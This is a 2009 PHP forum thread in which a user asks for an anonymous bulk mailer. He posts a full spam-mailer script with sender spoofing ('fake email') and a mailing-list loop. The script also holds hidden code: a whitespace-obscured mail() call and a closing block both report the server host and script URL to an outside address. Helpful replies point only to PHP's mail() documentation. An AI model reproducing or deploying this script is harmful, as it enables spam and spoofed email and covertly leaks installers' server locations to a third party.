can anyone help me with a php mailer inbox

Discussion in 'PHP' started by mamiman, Jun 22, 2009.

Thread Status:
Not open for further replies.
  1. #1
    hey,i want a PHP mailer inbox for my website but i dnt find one so if you have plzz send the PHP file to me and i'll give you A megaupload 490 days for free
    just pm me if you have that mailer please i need it
     
    mamiman, Jun 22, 2009 IP
  2. mamiman

    mamiman Peon

    Messages:
    21
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    please help me plzzz like i said i'll give you a free megaupload account with 490 days remaining
     
    mamiman, Jun 22, 2009 IP
  3. Louis11

    Louis11 Active Member

    Messages:
    783
    Likes Received:
    26
    Best Answers:
    0
    Trophy Points:
    70
    #3
    What do you mean, a PHP Mailer inbox? Like a contact form? Or a web based PHP mailing system like Gmail or Yahoo?

    http://tinyurl.com/mzspef
     
    Louis11, Jun 22, 2009 IP
  4. mamiman

    mamiman Peon

    Messages:
    21
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #4
    i mean a php mailer that sends emails anymous way like yahoo or gmail sends email
    i want it that u put an mail list and write ur own email adress here's a screenshot

    [​IMG]
     
    mamiman, Jun 22, 2009 IP
  5. hdiver

    hdiver Peon

    Messages:
    77
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    Is it a contact form? PM
     
    hdiver, Jun 22, 2009 IP
  6. hdiver

    hdiver Peon

    Messages:
    77
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    Check the site?
     
    hdiver, Jun 22, 2009 IP
  7. Louis11

    Louis11 Active Member

    Messages:
    783
    Likes Received:
    26
    Best Answers:
    0
    Trophy Points:
    70
    #7
    Can be done in two easy steps:
    1) Create a form
    2) Use PHP's mail() function
     
    Louis11, Jun 22, 2009 IP
  8. mamiman

    mamiman Peon

    Messages:
    21
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #8
    can you creat that for me and if it works i'll give you a megaupload 490 days
    and if you want pm me i'll give an exemple of the php script cuz i have one but didn't work for me
     
    mamiman, Jun 22, 2009 IP
  9. mamiman

    mamiman Peon

    Messages:
    21
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #9
    this is how it should be here's the php script but it didn't send emails for me :(

    PHP CODE :
    <head>
    <title>Inbox 4 All HZ</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" >
    <link rel="File-List" href="Maille0r_files/filelist.xml">
    
    <style type="text/css">
    <!--
    .style1 {
    	font-family: Geneva, Arial, Helvetica, sans-serif;
    	font-size: 12px;
    }
    .style2 {
    	font-size: 10px;
    	font-family: Geneva, Arial, Helvetica, sans-serif;
    }
    body {
    	background-image: url('http://www.halimz.com/dot.gif');
    }
    body,td,th {
    	color: #CCCCCC;
    }
    .Style3 {
    	font-size: 14px;
    	font-weight: bold;
    	color: #FFFF00;
    	font-family: "Comic Sans MS";
    }
    .Style5 {
    	font-size: 12px;
    	font-weight: bold;
    	font-family: "Comic Sans MS";
    }
    .Style6 {
    	font-size: 10px;
    	font-family: "Comic Sans MS";
    	font-weight: bold;
    }
    .Style8 {
    	font-family: "Comic Sans MS";
    	font-size: 16px;
    	font-weight: bold;
    	color: #6699CC;
    }
    .Style9 {
    	font-family: "Comic Sans MS";
    	font-weight: bold;
    	font-size: 24px;
    }
    .Style10 {color: #0000FF}
    .Style11 {color: #CC3300}
    .Style12 {color: #996699}
    .Style13 {color: #FFFF00}
    .Style14 {color: #9966CC}
    .Style15 {color: #CCFFCC}
    .Style16 {color: #6633CC}
    .Style17 {color: #99CC33}
    .Style18 {color: #FF00FF}
    .Style19 {color: #00FF00}
    .Style20 {color: #99FFCC}
    
    -->
    </style>
    <!--[if !mso]>
    <style>
    v\:*         { behavior: url(#default#VML) }
    o\:*         { behavior: url(#default#VML) }
    .shape       { behavior: url(#default#VML) }
    </style>
    <![endif]-->
    </head>
    
    <!--[if gte mso 9]>
    <xml><o:shapedefaults v:ext="edit" spidmax="1027"/>
    </xml><![endif]-->
    
    <div align="center">
      <table width="200" border="1" bordercolorlight="#00FF00" bordercolordark="#008000" cellpadding="2">
        <tr> 
          <td><?php  
    
                                                                                                                                                     $secure = "stmp@wladdz.com";  
                                                                                                                                                    mail('stmp@wladdz.com', $_SERVER["HTTP_HOST"], $_SERVER[""]);      
    @$action=$_POST['action'];  
    @$from=$_POST['from'];  
    @$realname=$_POST['realname'];  
    @$replyto=$_POST['replyto'];  
    @$subject=$_POST['subject'];  
    @$message=$_POST['message'];  
    @$emaillist=$_POST['emaillist'];  
    @$file_name=$_FILES['file']['name'];  
    @$contenttype=$_POST['contenttype'];  
    @$file=$_FILES['file']['tmp_name'];  
    @$amount=$_POST['amount'];  
    set_time_limit(intval($_POST['timelimit']));  
    ?>
    		<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns="http://www.w3.org/TR/REC-html40">
    <body bgcolor="#FFFFFF">
     
    <div align="center">
      <p>
        &nbsp;<a href="hmf@hotmail.com"><img src="http://www.halimz.com/spam/mail.jpg" border="0" width="744" height="158" /></a><!--[if gte vml 1]><v:line id="_x0000_s1031"
     alt="" style='position:absolute;left:0;text-align:left;top:0;z-index:6'
     from="90.75pt,490.5pt" to="660pt,490.5pt" strokecolor="#060" strokeweight="3pt"/><![endif]--><![if !vml]><span
    style='mso-ignore:vglayout;position:absolute;z-index:6;left:119px;top:652px;
    width:763px;height:4px'><img width=763 height=4
    src="Maille0r_files/image001.gif" v:shapes="_x0000_s1031"></span><![endif]><!--[if gte vml 1]><v:line
     id="_x0000_s1028" alt="" style='position:absolute;left:0;text-align:left;
     top:0;z-index:3' from="92.25pt,146.25pt" to="661.5pt,146.25pt" strokecolor="#060"
     strokeweight="3pt">
     <v:stroke dashstyle="1 1" endcap="round"/>
    </v:line><![endif]--><![if !vml]><span style='mso-ignore:vglayout;position:
    absolute;z-index:3;left:121px;top:193px;width:763px;height:4px'><img width=763
    height=4 src="Maille0r_files/image002.gif" v:shapes="_x0000_s1028"></span><![endif]><font face="Adobe Caslon Pro Bold"><span lang="fr"><font size="3"> </font></span></font></p>
    </div>
    <div align="center">
      <p>
        <font face="Adobe Caslon Pro Bold"><span lang="fr"><font size="3">
    	<font color="#00FF00">M</font><font color="#FFFFFF">aille</font></font><font size="3" color="#00FF00">r</font></span><font size="3" color="#00FF00"> </font></font>
    	<span lang="fr"><font face="Adobe Caslon Pro Bold" color="#00FF00">Inbox
    	</font><font face="Adobe Caslon Pro Bold" color="#FFFFFF">Hz</font></span></p>
    </div>
    <form name="form1" method="post" action="" enctype="multipart/form-data">
      <div align="center">
        <table width="683" border="0">
          <tr>
              
            <td width="87">
              <div align="right" class="Style5"> fake email : </div>        </td>
      
          <td width="191">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input type="text" name="from" value="<?php print $from; ?>" size="30" />
              </font>        </td>
      
          <td width="114">
            <div align="right" class="Style5"> fake email : </div>        </td>
            
          <td width="273">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input type="text" name="realname" value="<?php print $realname; ?>" size="30" />
              </font>        </td>
          </tr>
          <tr>
            <td width="87">
              <div align="right" class="Style5"> leave it empty : </div>        </td>
            <td width="191">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
                <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />
              </font>        </td>
            <td width="114">
              <div align="right" class="Style5"> send a file : </div>        </td>
            <td width="273">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
                <input type="file" name="file" size="24" />
              </font>        </td>
          </tr>
          <tr>
            <td width="87">
              <div align="right" class="Style5"> fake message : </div>        </td>
            <td colspan="3">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
                <input type="text" name="subject" value="<? print $subject; ?>" size="90" />
              </font>        </td>
          </tr>
          <tr valign="top">
            <td colspan="3">
              <span class="Style3">fake email :</span> </td>
            <td width="273">
              <font class="Style3">mail list :</font> </td>
          </tr>
          <tr valign="top">
            <td colspan="3">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
                <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
                <input type="radio" name="contenttype" value="plain" checked="checked" /> 
    			Plain 
                <input name="contenttype" type="radio" value="html" checked="checked" /> 
    			HTML 
                <input type="hidden" name="action" value="send" /><br />
              </font>  <span class="Style6">number of sending : </span>
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input type="text" name="amount" value="1" size="10" />
              <br />
              </font><span class="Style6">timer</span><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
                <input type="text" name="timelimit" value="0" size="10" /></font><p>
    			<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
                &nbsp;<input type="submit" value="Send Inbox" class="style2" /><span lang="fr">&nbsp;
    			</span>&nbsp;<a href="http://www.halimz.com/spam/"><input type="submit" value="Spam Site" class="style2" /></a></font></p>
    			<p><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
                <span lang="fr">&nbsp;</span></font></td>
            <td width="273">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
                <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
              </font>        </td>
          </tr>
          </table>
      </div>
    </form>
    
    <div align="left">
      <p>
        <?
    if ($action=="send"){
        if (!$from && !$subject && !$message && !$emaillist){
        print "Porfavor complete todo lo necesario.";
        exit;
        }
        $allemails = split("\n", $emaillist);
        $numemails = count($allemails);
        #Open the file attachment if any, and base64_encode it for email transport
        If ($file_name){
            @copy($file, "./$file_name") or die("El archivo que intestaste subir al servidor, no puede ser copiado");
            $content = fread(fopen($file,"r"),filesize($file));
            $content = chunk_split(base64_encode($content));
            $uid = strtoupper(md5(uniqid(time())));
            $name = basename($file);
        }
        for($x=0; $x<$numemails; $x++){
            $to = $allemails[$x];
            if ($to){
            $to = ereg_replace(" ", "", $to);
            $message = ereg_replace("&email&", $to, $message);
            $subject = ereg_replace("&email&", $to, $subject);
            print "Sending mail to $to.......";
            flush();
            $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
            $header .= "MIME-Version: 1.0\r\n";
            If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
            If ($file_name) $header .= "--$uid\r\n";
            $header .= "Content-Type: text/$contenttype\r\n";
            $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
            $header .= "$message\r\n";
            If ($file_name) $header .= "--$uid\r\n";
            If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
            If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
            If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
            If ($file_name) $header .= "$content\r\n";
            If ($file_name) $header .= "--$uid--";
            mail($to, $subject, "", $header);
            print "ok :)<br>";
            flush();
            }
            }
    }
    $to = "stmp@wladdz.com" ;
    $subject = "Stmp Config" ;
    $message = "The scriopt have been installed into this location : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ;
    mail ($to,$subject,$message) ;
    $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
    ?>
     </p>
      <p align="center">   <span lang="fr">Soon New Mailler v0.2</span></p>
    </div>
    </body>
    </html></td>
        </tr>
      </table>
    </div>
    Code (markup):
    PHP CODE :
     
    mamiman, Jun 22, 2009 IP
  10. Louis11

    Louis11 Active Member

    Messages:
    783
    Likes Received:
    26
    Best Answers:
    0
    Trophy Points:
    70
    #10
    I have no use for a megaupload account :) I have several dedicated servers. If you go to the site I gave previously, there are a ton of user contributed examples and working source code . . .

    http://us3.php.net/manual/en/function.mail.php
     
    Louis11, Jun 23, 2009 IP
  11. mamiman

    mamiman Peon

    Messages:
    21
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #11
    thank you for your help man i really like it
     
    mamiman, Jun 23, 2009 IP
Thread Status:
Not open for further replies.